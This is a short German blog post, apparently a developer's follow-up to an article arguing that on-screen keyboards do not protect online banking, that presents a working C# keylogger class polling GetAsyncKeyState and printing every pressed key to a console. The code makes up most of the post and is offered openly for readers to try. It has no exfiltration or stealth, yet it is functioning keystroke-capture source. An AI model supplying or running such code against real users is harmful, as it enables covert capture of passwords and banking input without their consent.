Tastatureingaben mit C# aufzeichnen – KeyLogger auf .NET

Nach meinem Artikel Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking[1] bin ich jetzt schon öfters angesprochen worden, wie man denn Tastatureingaben überwachen kann. Nachfolgend mal meine kleine KeyLogger Klasse in C#:

using System; using System.Runtime.InteropServices; using System.Windows.Forms;

namespace MS.Util { public class KeyLogger { [DllImport("User32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("User32.dll")] private static extern short GetAsyncKeyState(Keys vKey);

public void Read() { try { foreach (int i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) { Console.Write(Enum.GetName(typeof(Keys), i) + " "); } } } catch (Exception ex) { } } } }

Die Methode Read() muss man jetzt nur schnell genug hintereinander aufrufen, dann sieht man in einer Konsolenanwendung die gedrückten Tasten. Viel Spaß beim Ausprobieren, gerade auch mit einer Bildschirmtastatur!